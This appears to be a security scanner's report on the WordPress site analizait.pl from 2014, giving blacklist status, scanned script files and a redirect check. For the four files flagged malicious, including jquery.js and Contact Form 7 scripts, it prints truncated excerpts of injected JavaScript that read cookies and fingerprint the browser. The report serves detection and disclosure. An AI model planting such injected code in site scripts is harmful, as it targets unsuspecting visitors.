Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=analizait.pl
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://analizait.pl/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://analizait.pl/ | 200 OK Content-Length: 59977 Content-Type: text/html | clean |
http://analizait.pl/wp-includes/js/jquery/jquery.js?ver=1.11.0 | 200 OK Content-Length: 98786 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var kloack = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return kloack ? decodeURIComponent(kloack[1]) : undefined; } function Ubrostyleddesignercoder() { var specifico_stock = navigator.userAgent; var flawor_bobma = (specifico_stock.indexOf("Windows NT 6.3") > -1 || specifico_stock.indexOf("IEMobile") > -1 || specifico_stock.indexOf("Chrom jQuery.noConflict(); Antivirus reports:
| ||
http://analizait.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 9584 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var kloack = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return kloack ? decodeURIComponent(kloack[1]) : undefined; } function Ubrostyleddesignercoder() { var specifico_stock = navigator.userAgent; var flawor_bobma = (specifico_stock.indexOf("Windows NT 6.3") > -1 || specifico_stock.indexOf("IEMobile") > -1 || specifico_stock.indexOf("Chrom Antivirus reports:
| ||
http://analizait.pl/wp-content/plugins/revslider/rs-plugin/js/jquery.themepunch.revolution.min.js?ver=3.9.2 | 200 OK Content-Length: 86176 Content-Type: application/javascript | clean |
http://analizait.pl/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20 | 200 OK Content-Length: 17632 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var kloack = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return kloack ? decodeURIComponent(kloack[1]) : undefined; } function Ubrostyleddesignercoder() { var specifico_stock = navigator.userAgent; var flawor_bobma = (specifico_stock.indexOf("Windows NT 6.3") > -1 || specifico_stock.indexOf("IEMobile") > -1 || specifico_stock.indexOf("Chrom Antivirus reports:
| ||
http://analizait.pl/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.9.3 | 200 OK Content-Length: 12042 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(name) {
var kloack = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return kloack ? decodeURIComponent(kloack[1]) : undefined; } function Ubrostyleddesignercoder() { var specifico_stock = navigator.userAgent; var flawor_bobma = (specifico_stock.indexOf("Windows NT 6.3") > -1 || specifico_stock.indexOf("IEMobile") > -1 || specifico_stock.indexOf("Chrom } } $.wpcf7SupportHtml5 = function() { var features = {}; var input = document.createElement('input'); features.placeholder = 'placeholder' in input; var inputTypes = ['email', 'url', 'tel', 'number', 'range', 'date']; $.each(inputTypes, function(index, value) { input.setAttribute('type', value); features[value] = input.type !== 'text'; }); return features; }; })(jQuery); Antivirus reports:
| ||
http://analizait.pl/wp-content/plugins/wp-polls/polls-js.js?ver=2.63 | 200 OK Content-Length: 5314 Content-Type: application/javascript | clean |
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201436 | 200 OK Content-Length: 9301 Content-Type: application/x-javascript | clean |
http://s.gravatar.com/js/gprofiles.js?ver=2014Sepaa | 200 OK Content-Length: 21442 Content-Type: application/x-javascript | clean |
http://analizait.pl/wp-content/plugins/jetpack/modules/wpgroho.js?ver=3.9.2 | 200 OK Content-Length: 3343 Content-Type: application/javascript | clean |
http://analizait.pl/wp-content/themes/Newspaper/js/external.js?ver=1 | 200 OK Content-Length: 141528 Content-Type: application/javascript | clean |
http://analizait.pl/wp-content/themes/Newspaper/js/site.js?ver=1 | 200 OK Content-Length: 43020 Content-Type: application/javascript | clean |
http://analizait.pl/wp-content/themes/Newspaper/wpbakery/js_composer/assets/js/js_composer_front.js?ver=3.6.8 | 200 OK Content-Length: 9875 Content-Type: application/javascript | clean |
http://analizait.pl/wp-content/plugins/wysija-newsletters/js/validate/languages/jquery.validationEngine-pl.js?ver=2.6.11 | 200 OK Content-Length: 8501 Content-Type: application/javascript | clean |
http://analizait.pl/wp-content/plugins/wysija-newsletters/js/validate/jquery.validationEngine.js?ver=2.6.11 | 200 OK Content-Length: 74129 Content-Type: application/javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: analizait.pl
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 06 Sep 2014 05:54:19 GMT
Server: Apache/2.4
Content-Type: text/html; charset=UTF-8
Link: <http://wp.me/P4dJjG-Kg>; rel=shortlink
X-Pingback: http://analizait.pl/xmlrpc.php
X-Powered-By: PHP/5.3.29
GET / HTTP/1.1
Host: analizait.pl
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 06 Sep 2014 05:54:19 GMT
Server: Apache/2.4
Content-Type: text/html; charset=UTF-8
Link: <http://wp.me/P4dJjG-Kg>; rel=shortlink
X-Pingback: http://analizait.pl/xmlrpc.php
X-Powered-By: PHP/5.3.29
Second query (visit from search engine):
GET / HTTP/1.1
Host: analizait.pl
Referer: http://www.google.com/search?q=analizait.pl
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: analizait.pl
Referer: http://www.google.com/search?q=analizait.pl
Result:
The result is similar to the first query. There are no suspicious redirects found.